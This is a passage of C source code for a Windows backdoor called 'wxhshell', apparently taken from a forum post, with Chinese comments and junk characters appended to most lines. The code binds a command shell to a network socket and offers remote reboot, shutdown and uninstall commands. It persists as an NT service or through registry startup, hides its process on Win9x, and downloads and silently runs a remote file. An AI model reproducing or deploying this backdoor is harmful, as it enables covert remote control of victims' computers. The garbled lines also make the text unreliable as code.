      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3%It~o?  
    break; V-?sek{;  
  } P@gu~!  
  // 安装 8+*g4=ws  
  case 'i': { DBu)xr}7A  
    if(Install()) EpFIKV!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;J,,f1Vw  
    else g_rA_~dh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d[s;a.  
    break; 1?/5A|?V4+  
    } 30sC4}   
  // 卸载 fK)ZJ_?w,@  
  case 'r': { y8<lp+  
    if(Uninstall()) S(g<<Te  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sh',"S#=@  
    else L#t-KLJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 ||KP|5@  
    break; R-g>W  
    } M!xm1-,[  
  // 显示 wxhshell 所在路径 DiZ!c "$  
  case 'p': { 5@w'_#!)  
    char svExeFile[MAX_PATH]; <Z\MZ&{k{*  
    strcpy(svExeFile,"\n\r"); C5:dO\?O  
      strcat(svExeFile,ExeFile); [JX}1%NA  
        send(wsh,svExeFile,strlen(svExeFile),0); M9uH&CD6U  
    break; H$k![K6Uj  
    } 'DL;c@}37  
  // 重启 zPX=MfF  
  case 'b': { @&~OB/7B:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a z:~{ f*-  
    if(Boot(REBOOT)) ?:#>^eWYe7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ez7V>FNX  
    else { M^|"be~{'  
    closesocket(wsh); 1jZDw~  
    ExitThread(0); TS\A`{^T  
    } *3w/`R<\  
    break; z/eU^2V  
    } Z-? Iip{  
  // 关机 pO-s@"j]  
  case 'd': { eHF(,JI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R` I8Ud4=  
    if(Boot(SHUTDOWN)) C }h<ldlY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # `N6<nb  
    else { q5?rp|7D  
    closesocket(wsh); bWX[<rh'  
    ExitThread(0); k$UzBxR  
    } ~xlMHf  
    break; +LQs.*  
    } :=iM$_tp'  
  // 获取shell !T#8N7J>  
  case 's': { /ygUd8@  
    CmdShell(wsh); >,] eL  
    closesocket(wsh); [T}%q"<  
    ExitThread(0); %#S"~)  
    break; r|JiGj^om  
  } g|GvJ)VX  
  // 退出 + e5  
  case 'x': { ]AFM Y<mB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l ))~&  
    CloseIt(wsh); %U=S6<lbj;  
    break; ~n8*@9[  
    } O5G<O(,\  
  // 离开 }C`}wS3i  
  case 'q': { RAD4q"}k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X-G~/n-x  
    closesocket(wsh); ])$. "g  
    WSACleanup(); s0`|G|.}  
    exit(1); ={mPg+Ei'  
    break; (IoPU+1b  
        } y:hCBgc;`c  
  } |`q)/ 08b  
  } % L %1g  
iS:PRa1  
  // 提示信息 LAK-!!0X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0w'y#U)&8  
} xu_XX#9?b  
  } U'h[ {ek  
)L(d$N=Bd  
  return; vs'L1$L'c  
} SSL%$:l@  
b68G&z>   
// shell模块句柄 V\rIN}7  
int CmdShell(SOCKET sock) f@F^W YQm  
{ `:bvuc(  
STARTUPINFO si; ~ ];6hxv  
ZeroMemory(&si,sizeof(si)); Q#J>vwi=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >F\rBc&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~-`BSR  
PROCESS_INFORMATION ProcessInfo; njwR~aL`|  
char cmdline[]="cmd"; ) v[Knp'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a' >$88tl  
  return 0; V'.eesN  
} b W C~Hv  
LDi ez i  
// 自身启动模式  'QekQ];  
int StartFromService(void) x3I%)@-Z  
{ c~pUhx1(  
typedef struct o trTrh  
{ gGiV1jN _  
  DWORD ExitStatus; ~Q$c!=   
  DWORD PebBaseAddress; eRl?9  
  DWORD AffinityMask; :AqnWy  
  DWORD BasePriority; z)<pqN  
  ULONG UniqueProcessId; 4|@FO}rK[l  
  ULONG InheritedFromUniqueProcessId; 0LHiOav  
}   PROCESS_BASIC_INFORMATION; Kz3h]/A.  
j]F#p R}p  
PROCNTQSIP NtQueryInformationProcess; #/B~G.+(  
O275AxaN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IYM@(c@ld0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `~aLSpB65  
 CK!pH{n+  
  HANDLE             hProcess; !irX[,e  
  PROCESS_BASIC_INFORMATION pbi; 9i2vWSga  
C_^R_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7AtXG^lK  
  if(NULL == hInst ) return 0; iz  GaV[  
<rwOI.W l$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;5oH6{7_Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dV2b)p4J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $Pb[ c%'  
|E_+*1lq.  
  if (!NtQueryInformationProcess) return 0; r/q1&*T  
48&KdbGX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fssL'DD  
  if(!hProcess) return 0; P #2TM  
$OFFH[_z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XUqE5[O%  
jXDzjt94J  
  CloseHandle(hProcess); Uhx2 _  
RJ@e5A6_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |_xiG~  
if(hProcess==NULL) return 0; 0.Ol@fO  
h&)vdCCk  
HMODULE hMod; x]d"|jmVZ  
char procName[255]; M4hN#0("4  
unsigned long cbNeeded; %C E@}  
o2e h)rtB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aXK%m  
EPd.atA  
  CloseHandle(hProcess); U5ud?z()OA  
f s"V'E2a  
if(strstr(procName,"services")) return 1; // 以服务启动 p_40V%y^  
@%@^5  
  return 0; // 注册表启动 %{VI-CQ  
} %"KWjwp  
Bzy=@]`  
// 主模块 OB  i!fLa  
int StartWxhshell(LPSTR lpCmdLine) $5"-s]  
{ @ H`QLm  
  SOCKET wsl; 'a{5}8+8  
BOOL val=TRUE; wPO@f~[Ji  
  int port=0; k;:u| s8NS  
  struct sockaddr_in door; W4rw;(\  
Z%n.:I<%ZV  
  if(wscfg.ws_autoins) Install(); cSs/XJZ  
0!'M#'m  
port=atoi(lpCmdLine); 7/OOq=z  
3]]6z K^i  
if(port<=0) port=wscfg.ws_port; Z-p^3t'{  
&$z1Hz+l  
  WSADATA data; a3 _0F@I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k#r7&Y  
1]3bx N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    { e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZE(RvPW  
  door.sin_family = AF_INET; ]jY)M<:J4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n]{}C.C=  
  door.sin_port = htons(port); 6C51:XQO  
 iIEIGQx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { | v'5*n9  
closesocket(wsl); +p}Xmn  
return 1; oJu4vGy0  
} r~Ubgd ]U  
rMFZ#38d  
  if(listen(wsl,2) == INVALID_SOCKET) { Y(yJ|y&  
closesocket(wsl); i\z0{;f|GX  
return 1; kuud0VWJ  
} adE0oXQH"  
  Wxhshell(wsl); IlL   
  WSACleanup(); v%7JZ<I'A  
IguG0 3:.N  
return 0; @dKf]&h%%  
}N9a!,{P=b  
} ]~M {@h!<  
9*Twx&  
// 以NT服务方式启动 m1; <T@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k 5r*?Os  
{ v;qL? _:=c  
DWORD   status = 0; vHe.+XY  
  DWORD   specificError = 0xfffffff; .MPOUo/e  
O xaua  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4wD^?S!p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EGr5xR-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k+G4<qw  
  serviceStatus.dwWin32ExitCode     = 0; vlyNQ7"%  
  serviceStatus.dwServiceSpecificExitCode = 0; CKt~#$ I%  
  serviceStatus.dwCheckPoint       = 0; h?tV>x/Fu  
  serviceStatus.dwWaitHint       = 0; VzM@DM]=~  
^g){)rz|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p;Ok.cXVp  
  if (hServiceStatusHandle==0) return; 0 S8{VZpy  
 !3M!p&  
status = GetLastError(); ^a5~FI:  
  if (status!=NO_ERROR) 4GejT(U  
{ 4i&!V9@:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pR7G/]U$A  
    serviceStatus.dwCheckPoint       = 0; pG=zGx4  
    serviceStatus.dwWaitHint       = 0; "Ksd9,J\b  
    serviceStatus.dwWin32ExitCode     = status; \`9|~!,Ix7  
    serviceStatus.dwServiceSpecificExitCode = specificError; { 3P!b|V>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9JeGjkG,  
    return; [c%}L 3B  
  } g8@HAV^H  
)tg*dE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WW@"75t  
  serviceStatus.dwCheckPoint       = 0; N5]68Fu'({  
  serviceStatus.dwWaitHint       = 0; HY#("=9< h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8(K~QvE~  
} ]@]"bF!Dn  
t$D[,$G9  
// 处理NT服务事件,比如:启动、停止 Z{)|w=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2YEn)A@8  
{ . k DCcnm  
switch(fdwControl) jo:p*Q "F  
{ bbA<Zp  
case SERVICE_CONTROL_STOP: j*\MUR=  
  serviceStatus.dwWin32ExitCode = 0; yG_.|%e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GDe$p;#"9g  
  serviceStatus.dwCheckPoint   = 0; >%A=b}VS  
  serviceStatus.dwWaitHint     = 0; Y{{,62D  
  { l%w|f`B:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Y>'v%  
  } fkG"72 95A  
  return; L7="!I  
case SERVICE_CONTROL_PAUSE: r2`?Ta  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aq**w?l  
  break; TK1M mL  
case SERVICE_CONTROL_CONTINUE: aa3YtNpP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F&Z>B};  
  break; N.J:Qn`(  
case SERVICE_CONTROL_INTERROGATE: EE{%hGb  
  break; sA j$U^Gp  
}; z$,hdZ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (VR nv  
} a[#BlH  
Ho9*y3]  
// 标准应用程序主函数 ~_6rD`2cJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y!Eh /KD  
{ bJvRQrj*3  
 16{;24  
// 获取操作系统版本 c9K\K~bk  
OsIsNt=GetOsVer(); @XJv9aq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M QI=  
v8=MO:>{R  
  // 从命令行安装 E$baQU hKS  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5PySCGv  
%|||M=akk  
  // 下载执行文件 R'_[RHFC  
if(wscfg.ws_downexe) { <CdO& xUY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <7h'MNf&  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z.:A26  
} WV5R$IqY  
HKf3eC  
if(!OsIsNt) { ? -tw*2+  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;">hCM7  
HideProc(); ttOsL')|  
StartWxhshell(lpCmdLine); DenCD9 f  
} gNBI?xs`p  
else EyiM`)!5  
  if(StartFromService()) 34:=A0z  
  // 以服务方式启动 DtX{0p<T3  
  StartServiceCtrlDispatcher(DispatchTable); !o7. L%S  
else i;7jJ(#V  
  // 普通方式启动 l$NEx0Dffz  
  StartWxhshell(lpCmdLine); e;v2`2z2  
{643Dz<e  
return 0; 'McVaPav  
}
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只看该作者 1 发表于: 2006-10-10
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